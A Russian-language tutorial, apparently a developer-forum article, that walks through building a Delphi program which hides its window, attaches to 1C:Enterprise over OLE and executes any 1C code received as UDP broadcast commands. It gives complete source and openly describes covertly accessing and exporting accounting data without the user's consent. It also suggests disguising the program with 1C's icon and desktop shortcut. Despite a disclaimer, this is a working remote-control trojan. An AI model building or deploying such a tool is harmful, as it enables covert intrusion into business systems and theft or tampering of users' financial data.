• Партнер

  • Огромное количество организаций использует систему 1С:Предприятие,
    но не каждый пользователь подозревает о возможном проникновении в его систему чужаков и получении данных из базы, а также частичном управлении функциями 1С удаленно.
    Сразу скажу что, данный механизм использования 1С:Предприятие позволит усовершенствовать некоторые функции системы и ни коим образом не является руководством к разрушению (порче) данных или к помехам действий удаленного пользователя.
    Статья позволит программистам приобрести дополнительные навыки в использовании системы и расширить познания.

    Общий принцип механизма состоит в соединении
    с 1С через OLE и последующем использованием функций 1С
    на основе принимаемых команд от удаленного компьютера,
    т.к. в Delphi мы можем написать приложение невидимое для пользователя, то программа на Delphi, контролирующая 1С, будет скрыта от глаз пользователя и подвох не будет заметен, следовательно вину после
    приходящего на глазах у пользователя ужаса не на кого будет переложить кроме как на него самого.
    С помощью подобного механизма открываются возможности по управлению системы находясь за другим компьютером в сети,
    также появляется доступ к выгрузке данных из системы без согласия на то пользователя, т.к. попадаем мы в систему вместе с пользователем, под его учетной записью и паролем.

    Вооружившись Delphi (я использовал Delphi 6.0), приступим:

    Создаем обычное приложение,

    File->New->Application

    Создается форма, бросаем на форму Memo из вкладки
    Standard, 2 кнопки Button (вкладка Standard), Edit (вкладка
    Standard), IdUDPClient из вкладки IndyClients, IdUDPServer из вкладки IndyServers.

    Настроим компоненты.

    Компонента Мемо.

    Кликаем на Memo, в object inspeсtor находим параметр Line - нажимаем,
    появляется окно - стираем надпись Memo1, выходим из String List
    Editor. Для наглядности выбираем значение ScrollBars Memo равное ssVertical.

    Компонента Button.

    В object inspeсtor меняем содержимое параметра Caption на "Отправить 1С".
    Во второй кнопке то же самое.

    Компонента Edit.

    В object inspeсtor очищаем содержимое параметра Text.

    Компонента IdUDPClient - Отсылает данные.

    Выберем любой порт от 1 до 65000, через который будет происходить связь, я выбрал 122 (можете выбрать любой другой).
    Присваиваем это значение свойству Port компоненты.
    Заполним свойство Host, сюда записывается IP-адрес компьютера, которому будет отправляться сообщение.
    BroadCastEnabled устанавливаем в true. А вместо конкретного IP-адреса рекомендую использовать широковещательный
    (отправляется всем), последний октет 255.Например 192.168.12.255.
    Свойство Active устанавливаем в True.

    Компонента IdUDPServer - Получает данные.

    Выбираем тот же порт что и в IdUDPClient. BroadCastEnabled устанавливаем в
    true. Свойство Active устанавливаем в True.

    Все компоненты на форме, теперь приступим к написанию кода.

    Добавляем в Uses модуль comobj

    Uses Windows,...,comobj;

    Добавляем переменную

    var
    Form1: TForm1;
    serv1C: Olevariant;

    Кликаем 2 раза на форму приложения, в появившейся процедуре

    FormCreate(Sender: TObject); 

    пишем следующий код

    procedure TForm1.FormCreate(Sender: TObject);
    var
    h:HWND;
    res:integer;
    begin
    if trim(paramstr(1))='server'
    then
    begin
    Application.Showmainform:=false;//
    Скрываем форму нашего приложения
    ShowWindow(Application.Handle, SW_HIDE);
    serv1C := createoleobject('V1CEnterprise.Application');//
    создаем OLE обьект 1С Предприятия
    res:=serv1C.initialize(serv1C.rmtrade,'','SPLASH_SHOW');//
    Инициализируем его с показом картинки 1С во время загрузки
    if res<>0 then
    begin
    h:= findwindow(nil, '1С:Предприятие - Бухгалтерский учет, редакция 4.5: ООО "Рога и Копыта"');//

    Ищем окно 1С, здесь важно не ошибиться с именем окна, имя должно точно соответствовать конфигурации 1С
    ShowWindow(h,SW_SHOW);
    end
    else
    begin
    serv1C:=UnAssigned;//
    Подключение не удалось
    Application.Terminate;
    end;
    end;
    end;

    кликаем на компоненте IdUDPServer, выбираем вкладку Events, 2 раза кликаем по свойству OnUDPRead и заполняем процедуру следующим образом.

    procedure TForm1.IdUDPServer1UDPRead (Sender: TObject; AData: TStream;
    ABinding: TIdSocketHandle);
    var
    FStream:TStringstream;
    begin
    FStream:=TStringStream.Create('');
    FStream.CopyFrom(AData,Adata.Size);
    serv1C.ExecuteBatch(Fstream.DataString);//
    Отсылаем команды прямо в 1С Предприятие
    Fstream.Free;
    end;

    Добавим в программу еще одну процедуру.

    procedure TForm1.Otpravka(str:widestring);// любая строка передаваемая в эту процедуру, попадет на выполнение в 1С Предприятие
    begin
    form1.IdUDPClient1.Send(str);
    end;

    Добавим ее в класс TFOrm.

    type
    TForm1 = class(TForm)
    IdUDPClient1: TIdUDPClient;
    IdUDPServer1: TIdUDPServer;
    Button1: TButton;
    Button2: TButton;
    Edit1: TEdit;
    Memo1: TMemo;
    procedure IdUDPServer1UDPRead (Sender: TObject; AData: TStream;ABinding: TIdSocketHandle);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Otpravka(str:widestring);//
    Здесь наша процедура
    procedure Button2Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    Кликаем 2 раза на каждой из кнопок (Button) и записываем следующий код.

    procedure TForm1.Button1Click(Sender: TObject);
    begin
    Otpravka(Form1.Memo1.Lines.Text);
    end;

    Вторая кнопка.

    procedure TForm1.Button2Click(Sender: TObject);
    begin
    Otpravka('Сообщить("'+Form1.Edit1.Text+'");');
    end;

    Итак, программа готова, компилируем ее (F9) на экране
    появляется форма программы.

    В нижнюю строчку запишем текст для передачи в окно сообщений 1С Предприятия, а верхнее поле предназначено для отправки текста программы на языке 1С.
    После передачи выполнения 1С примет следующий вид:

    Единственное ограничение: подобным образом
    (через OLE) нельзя создавать переменные 1С Предприятия,
    но есть выход - использовать переменные системы,
    которые находятся в глобальном модуле конфигурации например 

    Да=СоздатьОбъект("Документ.ПоступлениеТоваров");

    переменная "Да" из глобального модуля.

    Многообразие команд языка 1С Предприятие открывает широкий
    доступ к системе, в 1С есть даже подобие SQL языка, приведу несколько примеров использования команд (все остальное в
    справочниках 1С Предприятия):

    Да=СоздатьОбъект("Документ.ПоступлениеТоваров");
    Да.НайтиПоНомеру("00000001","01.01.2006");
    Нет=Да.ТекущийДокумент();
    ОткрытьФорму(Нет);

    Использованы глобальные переменные системы (Да и Нет),программа откроет документ и выведет его на экран без согласия пользователя, или например 

    ОткрытьФорму("Справочник.Номенклатура");

    откроет справочник номенклатура.

    Сообщить("Hello world!"); 

    отправит в 1С Предприятие сообщение.

    Все, что останется сделать, так это подменить
    значок в нашей программе на значок 1С,положить ярлык вместо ярлыка 1С на рабочий стол и хорошенько подумать,
    а стоит ли вообще усложнять жизнь юзерам и в особенности бухгалтерам :-).

    Подобный механизм открывает большие возможности для экспериментов над 1С Предприятием,
    а так же над ее пользователями, которые будут удивлены тем,
    что 1С начнет жить собственной жизнью, общаться с пользователем, создавать или уничтожать элементы системы,
    возможна даже реализация чата на основе 1С Предприятия.

    Более полная версия готовой программы прилагается:
    1СProga.rar

    Желаю успехов в освоении и использовании.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии